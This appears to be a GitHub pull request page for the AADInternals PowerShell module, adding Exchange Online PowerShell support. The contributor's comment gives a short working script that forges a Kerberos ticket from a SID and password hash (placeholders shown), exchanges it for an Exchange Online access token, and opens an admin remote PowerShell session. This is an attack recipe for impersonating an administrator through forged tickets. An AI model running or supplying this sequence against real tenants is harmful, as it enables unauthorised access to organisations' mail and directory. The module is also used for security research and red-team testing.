Gerenios / AADInternals

AADInternals PowerShell module for administering Azure AD and Office 365
http://aadinternals.com/aadinternals
MIT License
1.24k stars 214 forks source link

Added Exchange Online Powershell support #25

Closed kalimer0x00 closed 2 years ago

kalimer0x00 commented 2 years ago

Exposed Get-AADIntAccessTokenForEXOPS cmdlet and fixed it.

Properly working with forged Kerberos tickets :

Import-Module AADInternals

$kt=New-AADIntKerberosTicket -SidString "S-1-5-21-...-11111-500" -Hash "11111111111111111111111111"
$at = Get-AADIntAccessTokenForEXOPS -KerberosTicket $KerberosTicket -Domain $Domain 
$token = ConvertTo-SecureString "Bearer $at" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("adm@contoso.com", $token)

$ps =  New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri "https://ps.outlook.com/powershell-liveid?BasicAuthToOAuthConversion=true" -Credential $cred -Authentication Basic -AllowRedirection

Import-PSSession $ps -AllowClobber